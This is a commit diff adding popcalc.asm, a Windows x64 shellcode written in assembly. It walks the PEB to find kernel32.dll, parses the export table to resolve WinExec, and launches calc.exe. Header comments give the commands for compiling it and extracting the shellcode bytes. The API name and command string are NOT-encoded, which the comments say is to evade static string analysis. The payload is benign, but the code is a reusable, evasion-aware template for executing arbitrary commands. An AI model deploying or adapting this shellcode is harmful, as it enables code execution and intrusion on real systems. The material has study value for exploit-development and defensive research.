1
+ ; Compile & get shellcode from Kali:
2
+ ; nasm -f win64 popcalc.asm -o popcalc.o
3
+ ; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
4
+ ; Get kernel32.dll base address
5
+ xor rdi , rdi ; RDI = 0x0
6
+ mul rdi ; RAX&RDX =0x0
7
+ mov rbx , gs : [ rax + 0x60 ] ; RBX = Address_of_PEB
8
+ mov rbx , [ rbx + 0x18 ] ; RBX = Address_of_LDR
9
+ mov rbx , [ rbx + 0x20 ] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
10
+ mov rbx , [ rbx ] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
11
+ mov rbx , [ rbx ] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
12
+ mov rbx , [ rbx + 0x20 ] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
13
+ mov r8 , rbx ; RBX & R8 = &kernel32.dll
14
+
15
+ ; Get kernel32.dll ExportTable Address
16
+ mov ebx , [ rbx + 0x3C ] ; RBX = Offset NewEXEHeader
17
+ add rbx , r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
18
+ xor rcx , rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
19
+ add cx , 0x88ff
20
+ shr rcx , 0x8 ; RCX = 0x88ff --> 0x88
21
+ mov edx , [ rbx + rcx ] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
22
+ add rdx , r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
23
+
24
+ ; Get &AddressTable from Kernel32.dll ExportTable
25
+ xor r10 , r10
26
+ mov r10d , [ rdx + 0x1C ] ; RDI = RVA AddressTable
27
+ add r10 , r8 ; R10 = &AddressTable
28
+
29
+ ; Get &NamePointerTable from Kernel32.dll ExportTable
30
+ xor r11 , r11
31
+ mov r11d , [ rdx + 0x20 ] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
32
+ add r11 , r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
33
+
34
+ ; Get &OrdinalTable from Kernel32.dll ExportTable
35
+ xor r12 , r12
36
+ mov r12d , [ rdx + 0x24 ] ; R12 = RVA OrdinalTable
37
+ add r12 , r8 ; R12 = &OrdinalTable
38
+
39
+ jmp short apis
40
+
41
+ ; Get the address of the API from the Kernel32.dll ExportTable
42
+ getapiaddr:
43
+ pop rbx ; save the return address for ret 2 caller after API address is found
44
+ pop rcx ; Get the string length counter from stack
45
+ xor rax , rax ; Setup Counter for resolving the API Address after finding the name string
46
+ mov rdx , rsp ; RDX = Address of API Name String to match on the Stack
47
+ push rcx ; push the string length counter to stack
48
+ loop :
49
+ mov rcx , [ rsp ] ; reset the string length counter from the stack
50
+ xor rdi , rdi ; Clear RDI for setting up string name retrieval
51
+ mov edi , [ r11 + rax * 4 ] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
52
+ add rdi , r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
53
+ mov rsi , rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
54
+ repe cmpsb ; Compare strings at RDI & RSI
55
+ je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
56
+ incloop:
57
+ inc rax
58
+ jmp short loop
59
+
60
+ ; Find the address of GetProcAddress by using the last value of the Counter
61
+ resolveaddr:
62
+ pop rcx ; remove string length counter from top of stack
63
+ mov ax , [ r12 + rax * 2 ] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
64
+ mov eax , [ r10 + rax * 4 ] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
65
+ add rax , r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
66
+ push rbx ; place the return address from the api string call back on the top of the stack
67
+ ret ; return to API caller
68
+
69
+ apis: ; API Names to resolve addresses
70
+ ; WinExec | String length : 7
71
+ xor rcx , rcx
72
+ add cl , 0x7 ; String length for compare string
73
+ mov rax , 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
74
+ not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
75
+ shr rax , 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
76
+ push rax
77
+ push rcx ; push the string length counter to stack
78
+ call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
79
+ mov r14 , rax ; R14 = Kernel32.WinExec Address
80
+
81
+ ; UINT WinExec(
82
+ ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
83
+ ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
84
+ ; );
85
+ xor rcx , rcx
86
+ mul rcx ; RAX & RDX & RCX = 0x0
87
+ ; calc.exe | String length : 8
88
+ push rax ; Null terminate string on stack
89
+ mov rax , 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
90
+ not rax
91
+ ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
92
+ push rax ; RSP = "calc.exe",0x0
93
+ mov rcx , rsp ; RCX = "calc.exe",0x0
94
+ inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
95
+ sub rsp , 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
96
+ call r14 ; Call WinExec("calc.exe", SW_HIDE)
0 commit comments